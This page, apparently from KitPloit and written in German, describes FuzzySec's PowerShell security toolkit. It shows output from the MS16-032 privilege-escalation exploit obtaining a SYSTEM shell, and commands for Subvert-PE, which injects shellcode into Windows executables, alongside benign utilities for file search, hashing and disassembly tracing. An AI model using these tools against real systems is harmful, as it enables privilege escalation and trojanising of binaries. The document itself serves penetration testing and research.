C:\PS> Invoke-MS16-032
         __ __ ___ ___   ___     ___ ___ ___
        |  V  |  _|_  | |  _|___|   |_  |_  |
        |     |_  |_| |_| . |___| | |_  |  _|
        |_|_|_|___|_____|___|   |___|___|___|

                       [by b33f -> @FuzzySec]

[?] Operating system core count: 2
[>] Duplicating CreateProcessWithLogonW handle
[?] Done, using thread handle: 956

[*] Sniffing out privileged impersonation token..

[?] Thread belongs to: svchost
[+] Thread suspended
[>] Wiping current impersonation token
[>] Building SYSTEM impersonation token
[?] Success, open SYSTEM token handle: 964
[+] Resuming thread..

[*] Sniffing out SYSTEM shell..

[>] Duplicating SYSTEM token
[>] Starting token race
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!

Subvert-PE

Injiziere Shellcode in ein PE-Image, während die PE-Funktionalität erhalten bleibt.

Für weitere Informationen siehe:

  • FuzzySecurity: Powershell-PE-Injektion, das ist nicht der Taschenrechner, den du suchst!``` Analyse the PE header and hexdump the region of memory where shellcode would be injected. C:\PS> Subvert-PE -Path C:\Path\To\PE.exe

Same as above but continue to inject shellcode and overwrite the binary. C:\PS> Subvert-PE -Path C:\Path\To\PE.exe -Write

root@kitploit:~
## Hilfsprogramm

### Get-LimitChildItem

Tiefenbegrenzter Wrapper für Get-ChildItem mit grundlegender Filterfunktionalität.```
# UNC path txt file search
PS C:\> Get-LimitChildItem -Path "\\192.168.84.129\C$\Program Files\" -MaxDepth 5 -Filter "*.txt"
\\192.168.84.129\C$\Program Files\Windows Defender\ThirdPartyNotices.txt
\\192.168.84.129\C$\Program Files\VMware\VMware Tools\open_source_licenses.txt
\\192.168.84.129\C$\Program Files\VMware\VMware Tools\vmacthlp.txt
\\192.168.84.129\C$\Program Files\Windows NT\TableTextService\TableTextServiceAmharic.txt
\\192.168.84.129\C$\Program Files\Windows NT\TableTextService\TableTextServiceArray.txt
\\192.168.84.129\C$\Program Files\Windows NT\TableTextService\TableTextServiceDaYi.txt
\\192.168.84.129\C$\Program Files\Windows NT\TableTextService\TableTextServiceTigrinya.txt
\\192.168.84.129\C$\Program Files\Windows NT\TableTextService\TableTextServiceYi.txt

# Local wildcard *ini* search
PS C:\> Get-LimitChildItem -Path C:\ -MaxDepth 3 -Filter "*ini*"
C:\Windows\system.ini
C:\Windows\win.ini
C:\Windows\Boot\BootDebuggerFiles.ini
C:\Windows\Fonts\desktop.ini
C:\Windows\INF\mdmminij.inf
C:\Windows\Media\Windows Minimize.wav
C:\Windows\PolicyDefinitions\PenTraining.admx
C:\Windows\PolicyDefinitions\WinInit.admx
C:\Windows\System32\dwminit.dll
C:\Windows\System32\ie4uinit.exe
C:\Windows\System32\ieuinit.inf
C:\Windows\System32\PerfStringBackup.INI
C:\Windows\System32\rdpinit.exe
C:\Windows\System32\regini.exe
C:\Windows\System32\secinit.exe
C:\Windows\System32\tcpmon.ini
C:\Windows\System32\TpmInit.exe
C:\Windows\System32\userinit.exe
C:\Windows\System32\userinitext.dll
C:\Windows\System32\UXInit.dll
C:\Windows\System32\WimBootCompress.ini
C:\Windows\System32\wininet.dll
C:\Windows\System32\wininetlui.dll
C:\Windows\System32\wininit.exe
C:\Windows\System32\wininitext.dll
C:\Windows\System32\winipcfile.dll
C:\Windows\System32\winipcsecproc.dll
C:\Windows\System32\winipsec.dll
C:\Windows\SysWOW64\ieuinit.inf
C:\Windows\SysWOW64\regini.exe
C:\Windows\SysWOW64\secinit.exe
C:\Windows\SysWOW64\TpmInit.exe
C:\Windows\SysWOW64\userinit.exe
C:\Windows\SysWOW64\userinitext.dll
C:\Windows\SysWOW64\UXInit.dll
C:\Windows\SysWOW64\WimBootCompress.ini
C:\Windows\SysWOW64\wininet.dll
C:\Windows\SysWOW64\wininetlui.dll
C:\Windows\SysWOW64\wininitext.dll
C:\Windows\SysWOW64\winipcfile.dll
C:\Windows\SysWOW64\winipcsecproc.dll
C:\Windows\SysWOW64\winipsec.dll

Get-CRC32

Ein einfacher Wrapper für die undokumentierte Funktion RtlComputeCrc32.```

Example from string

C:\PS> $String = [System.Text.Encoding]::ASCII.GetBytes("Testing!") C:\PS> Get-CRC32 -Buffer $String C:\PS> 2392247274

root@kitploit:~
### Trace-Execution

Nutzt die Capstone-Engine, um eine PE (x32/x64) rekursiv von ihrem Einstiegspunkt aus zu disassemblieren und so effektiv dem Ausführungsfluss zu „folgen“. Dabei gelten die folgenden Regeln:

- jmp's werden ausgeführt, wenn sie im PE-Adressraum liegen
- call's werden ausgeführt, wenn sie im PE-Adressraum liegen
- ret's werden ausgeführt und nutzen die von call-Anweisungen gespeicherte Rücksprungadresse
- indirekte call/jmp's werden nicht ausgeführt
- bedingte jmp's werden nicht ausgeführt
- call/jmp's, die ein Register referenzieren, werden nicht ausgeführt

Es gibt viele, viele Randfälle, die die Disassemblierung unzuverlässig machen können. Als Faustregel gilt: Je mehr Adressen Sie disassemblieren, desto weniger vertrauenswürdig ist die Ausgabe. Die Aufruftabelle kann als Referenz verwendet werden, um die Richtigkeit der Ausgabe einzuschätzen.

Da die Disassemblierung statisch ist und von einem Byte-Array ausgeht, können x32/x64-PEs unabhängig von der Bitness von PowerShell disassembliert werden.```
PS C:\> Trace-Execution -Path .\Desktop\some.exe -InstructionCount 10

[>] 32-bit Image!

[?] Call table:

Address    Mnemonic Taken Reason
-------    -------- ----- ------
0x4AD0829A call     Yes   Relative offset call
0x4AD07CB7 call     No    Indirect call

[?] Instruction trace:

Size Address    Mnemonic Operands                    Bytes                   RegRead  RegWrite
---- -------    -------- --------                    -----                   -------  --------
   5 0x4AD0829A call     0x4ad07c89                  {232, 234, 249, 255...} {esp}
   2 0x4AD07C89 mov      edi, edi                    {139, 255, 249, 255...}
   1 0x4AD07C8B push     ebp                         {85, 255, 249, 255...}  {esp}    {esp}
   2 0x4AD07C8C mov      ebp, esp                    {139, 236, 249, 255...}
   3 0x4AD07C8E sub      esp, 0x10                   {131, 236, 16, 255...}           {eflags}
   5 0x4AD07C91 mov      eax, dword ptr [0x4ad240ac] {161, 172, 64, 210...}
   4 0x4AD07C96 and      dword ptr [ebp - 8], 0      {131, 101, 248, 0...}            {eflags}
   4 0x4AD07C9A and      dword ptr [ebp - 4], 0      {131, 101, 252, 0...}            {eflags}
   1 0x4AD07C9E push     ebx                         {83, 101, 252, 0...}    {esp}    {esp}
   1 0x4AD07C9F push     edi                         {87, 101, 252, 0...}    {esp}    {esp}
   5 0x4AD07CA0 mov      edi, 0xbb40e64e             {191, 78, 230, 64...}
   5 0x4AD07CA5 mov      ebx, 0xffff0000             {187, 0, 0, 255...}
   2 0x4AD07CAA cmp      eax, edi                    {59, 199, 0, 255...}             {eflags}
   6 0x4AD07CAC jne      0x4ad1bc8c                  {15, 133, 218, 63...}   {eflags}
   1 0x4AD07CB2 push     esi                         {86, 133, 218, 63...}   {esp}    {esp}
   3 0x4AD07CB3 lea      eax, dword ptr [ebp - 8]    {141, 69, 248, 63...}
   1 0x4AD07CB6 push     eax                         {80, 69, 248, 63...}    {esp}    {esp}
   6 0x4AD07CB7 call     dword ptr [0x4ad01150]      {255, 21, 80, 17...}    {esp}
   3 0x4AD07CBD mov      esi, dword ptr [ebp - 4]    {139, 117, 252, 0...}
   3 0x4AD07CC0 xor      esi, dword ptr [ebp - 8]    {51, 117, 248, 0...}             {eflags}

Calculate-Hash

PowerShell v2-kompatibles Skript zum Berechnen von Datei-Hashes. Ich habe das schnell zusammengeschrieben, weil Get-FileHash nur in v4+ verfügbar ist.``` Get the SHA512 hash of "C:\Some\File.path". C:\PS> Calculate-Hash -Path C:\Some\File.path -Algorithm SHA512

root@kitploit:~
### Check-VTFile

Senden Sie den SHA256-Hash einer Datei an Virus Total und rufen Sie den Scan-Bericht ab, wenn der Hash bekannt ist. Hierfür benötigen Sie einen kostenlosen VirusTotal-API-Schlüssel. Auch hier gibt es viele bessere Projekte für diese Aufgabe, aber keines ist mit PowerShell v2 kompatibel.```
C:\PS> Check-VTFile -Path C:\Some\File.path
Tool herunterladen